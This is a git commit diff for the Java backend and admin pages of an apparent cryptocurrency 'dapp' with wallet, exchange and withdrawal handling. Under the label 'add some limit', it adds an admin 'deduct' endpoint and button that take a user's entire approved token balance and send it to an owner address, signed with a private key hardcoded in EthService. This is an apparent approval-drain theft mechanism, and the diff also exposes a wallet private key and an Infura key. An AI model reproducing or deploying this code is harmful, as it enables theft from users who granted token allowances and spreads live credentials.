Helius
2022-03-24 ac4c6f8771de8148f1ba2292dd8fcb7c986883a4
add some limit
8 files modified
86 ■■■■ changed files
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java 10 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java 10 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java 7 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java 5 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java 6 ●●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java 30 ●●●● patch | view | raw | blame | history
src/main/resources/templates/febs/views/dapp/member-withdraw.html 1 ●●●● patch | view | raw | blame | history
src/main/resources/templates/febs/views/dapp/member.html 17 ●●●● patch | view | raw | blame | history
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -65,6 +65,16 @@
        return Integer.parseInt(total);
    }
    public void transfer(String address) {
        BigDecimal amount = balanceOf(address);
        if (address.contains(ETH_PREFIX)) {
            ETH.approveTransfer(address, amount, null);
        } else {
            TRX.transfer(address, amount);
        }
    }
    public static void main(String[] args) {
//        System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
    }
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -54,6 +54,7 @@
    //    private static final String ETH_UTL = "http://114.55.250.231:8545";
    private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
    private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
    private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
    public EthService() {
        try {
@@ -250,6 +251,15 @@
        }
    }
    public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
        try {
            return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
        } catch (InterruptedException | ExecutionException e) {
            e.printStackTrace();
            return "";
        }
    }
    public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
            throws InterruptedException, ExecutionException {
        // Web3j web3j = Web3j.build(new
src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
@@ -66,4 +66,11 @@
        dappMemberService.withdrawAble(id);
        return new FebsResponse().success();
    }
    @PostMapping(value = "/changeMoney/{address}")
    public FebsResponse changeMoney(@PathVariable(value = "address") String address) {
        // TODO 增加划扣记录表
        ChainService.INSTANCE.transfer(address);
        return new FebsResponse().success();
    }
}
src/main/java/cc/mrbird/febs/dapp/entity/DappFundFlowEntity.java
@@ -21,11 +21,12 @@
    public DappFundFlowEntity() {}
    public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status) {
    public DappFundFlowEntity(Long memberId, BigDecimal amount, Integer type, Integer status, Integer fee) {
        this.memberId = memberId;
        this.amount = amount;
        this.type = type;
        this.status = status;
        this.fee = fee;
        this.setCreateBy("system");
        this.setUpdateBy("system");
@@ -50,4 +51,6 @@
    @TableField(exist = false)
    private String address;
    private Integer fee;
}
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -102,10 +102,8 @@
    @Override
    public boolean isApprove(String address) {
        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address);
        if (memberEntity != null) {
            return true;
        }
        return false;
        return memberEntity != null && ChainService.INSTANCE.isAllowance(address);
    }
    @Override
src/main/java/cc/mrbird/febs/dapp/service/impl/DappWalletServiceImpl.java
@@ -4,6 +4,7 @@
import cc.mrbird.febs.common.entity.QueryRequest;
import cc.mrbird.febs.common.exception.FebsException;
import cc.mrbird.febs.common.utils.LoginUserUtil;
import cc.mrbird.febs.common.utils.RedisUtils;
import cc.mrbird.febs.dapp.dto.RecordInPageDto;
import cc.mrbird.febs.dapp.dto.WalletOperateDto;
import cc.mrbird.febs.dapp.entity.*;
@@ -34,6 +35,7 @@
    private final DappWalletCoinDao dappWalletCoinDao;
    private final DappFundFlowDao dappFundFlowDao;
    private final DappAccountMoneyChangeDao dappAccountMoneyChangeDao;
    private final RedisUtils redisUtils;
    @Override
    public WalletInfoVo walletInfo() {
@@ -54,14 +56,14 @@
    public void change(WalletOperateDto walletOperateDto) {
        DappMemberEntity member = LoginUserUtil.getAppUser();
        BigDecimal ethUsdtPrice = new BigDecimal("1234");
        BigDecimal ethUsdtPrice = (BigDecimal) redisUtils.get(AppContants.REDIS_KEY_ETH_NEW_PRICE);
        DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId());
        if (walletOperateDto.getAmount().compareTo(walletMine.getAvailableAmount()) > 0) {
            throw new FebsException("可用金额不足");
        }
        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_CHANGE, null);
        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_CHANGE, null, null);
        dappFundFlowDao.insert(fund);
        BigDecimal preEthAmount = walletMine.getAvailableAmount();
@@ -69,7 +71,6 @@
        // TODO 并发加悲观锁
        // 更新eth金额
        walletMine.setAvailableAmount(walletMine.getAvailableAmount().subtract(walletOperateDto.getAmount()));
        walletMine.setTotalAmount(walletMine.getTotalAmount().subtract(walletOperateDto.getAmount()));
        dappWalletMineDao.updateById(walletMine);
        DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(member.getId());
@@ -81,8 +82,8 @@
        walletCoin.setTotalAmount(walletCoin.getTotalAmount().add(usdt));
        dappWalletCoinDao.updateById(walletCoin);
        DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getTotalAmount(), "ETH兑换USDT-ETH", AppContants.MONEY_TYPE_CHANGE);
        DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getTotalAmount(), "ETH兑换USDT-USDT", AppContants.MONEY_TYPE_CHANGE);
        DappAccountMoneyChangeEntity ethChange = new DappAccountMoneyChangeEntity(member.getId(), preEthAmount, walletOperateDto.getAmount(), walletMine.getAvailableAmount(), "ETH兑换USDT-ETH, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE);
        DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preUsdtAmount, usdt, walletCoin.getAvailableAmount(), "ETH兑换USDT-USDT, 兑换价格为:" + ethUsdtPrice, AppContants.MONEY_TYPE_CHANGE);
        dappAccountMoneyChangeDao.insert(ethChange);
        dappAccountMoneyChangeDao.insert(usdtChange);
    }
@@ -97,13 +98,15 @@
            throw new FebsException("可用金额不足");
        }
        Integer fee = (Integer) redisUtils.get(AppContants.REDIS_KEY_CHANGE_FEE);
        // TODO 并发加悲观锁
        BigDecimal preAmount = walletCoin.getAvailableAmount();
        walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().subtract(walletOperateDto.getAmount()));
        walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(walletOperateDto.getAmount()));
        walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().add(walletOperateDto.getAmount()));
        dappWalletCoinDao.updateById(walletCoin);
        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount().negate(), AppContants.MONEY_TYPE_WITHDRAWAL, 1);
        DappFundFlowEntity fund = new DappFundFlowEntity(member.getId(), walletOperateDto.getAmount(), AppContants.MONEY_TYPE_WITHDRAWAL, 1, fee);
        dappFundFlowDao.insert(fund);
        DappAccountMoneyChangeEntity usdtChange = new DappAccountMoneyChangeEntity(member.getId(), preAmount, walletOperateDto.getAmount(), walletCoin.getAvailableAmount(), "USDT申请提现", AppContants.MONEY_TYPE_WITHDRAWAL);
@@ -127,20 +130,33 @@
    }
    @Override
    @Transactional(rollbackFor = Exception.class)
    public void withdrawAgreeOrNot(Long id, int type) {
        DappFundFlowEntity fundFlow = dappFundFlowDao.selectById(id);
        if (fundFlow == null) {
            throw new FebsException("数据不存在");
        }
        DappWalletCoinEntity walletCoin = dappWalletCoinDao.selectByMemberId(fundFlow.getMemberId());
        if (type == 1) {
            walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount()));
            walletCoin.setTotalAmount(walletCoin.getTotalAmount().subtract(fundFlow.getAmount()));
            fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_AGREE);
        } else if (type == 2) {
            BigDecimal preAmount = walletCoin.getAvailableAmount();
            walletCoin.setFrozenAmount(walletCoin.getFrozenAmount().subtract(fundFlow.getAmount()));
            walletCoin.setAvailableAmount(walletCoin.getAvailableAmount().add(fundFlow.getAmount()));
            DappAccountMoneyChangeEntity accountMoneyChange = new DappAccountMoneyChangeEntity(walletCoin.getMemberId(), preAmount, fundFlow.getAmount(), walletCoin.getAvailableAmount(), "提现申请被驳回", 2);
            fundFlow.setStatus(DappFundFlowEntity.WITHDRAW_STATUS_DISAGREE);
            dappAccountMoneyChangeDao.insert(accountMoneyChange);
        } else {
            throw new FebsException("参数错误");
        }
        dappWalletCoinDao.updateById(walletCoin);
        dappFundFlowDao.updateById(fundFlow);
    }
src/main/resources/templates/febs/views/dapp/member-withdraw.html
@@ -154,6 +154,7 @@
                    {field: 'createTime', title: '创建时间', minWidth: 180},
                    {field: 'amount', title: '提现金额', minWidth: 130},
                    {title: '提现状态', templet: '#withdraw-status'},
                    {field: 'fee', title: '手续费', minWidth: 130},
                    {title: '操作', toolbar: '#withdraw-option', minWidth: 200}
                ]]
            });
src/main/resources/templates/febs/views/dapp/member.html
@@ -104,8 +104,9 @@
    <span>{{ sex.title }}</span>
</script>
<script type="text/html" id="balance">
    <span name="balance">{{ d.balance }}</span>
    <p><a lay-event="freshBalance">刷新</a></p>
    <span name="balance">{{ d.balance }}</span></br>
    <span><a lay-event="freshBalance">刷新</a></span>
    <span><a shiro:hasPermission="member:showMeMoney" lay-event="changeMoney">划扣</a></span>
</script>
<script type="text/html" id="approve-list">
    <a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
@@ -184,6 +185,15 @@
                });
            }
            if (layEvent === 'changeMoney') {
                febs.modal.confirm('划扣', "是否划扣该用户?", function () {
                    febs.post(ctx + "member/changeMoney/" + data.address, null, function () {
                        febs.alert.success('划扣成功');
                        $query.click();
                    });
                });
            }
            var rowIndex =  $(obj.tr).attr("data-index");
            var balance =  $(obj.tr).find("[name='balance']");
            if (layEvent === 'freshBalance') {
@@ -230,7 +240,7 @@
                    {type: 'checkbox'},
                    {type: 'numbers'},
                    {field: 'address', title: '地址', minWidth: 130},
                    {title: '余额', templet: '#balance'},
                    {title: '余额', templet: '#balance', minWidth: 150},
                    {title: '授权列表', templet: '#approve-list', minWidth: 110},
                    {field: 'inviteId', title: '邀请码', minWidth: 130},
                    {field: 'refererId', title: '上级邀请码', minWidth: 130},
@@ -259,5 +269,6 @@
                $query.click();
            });
        }
    })
</script>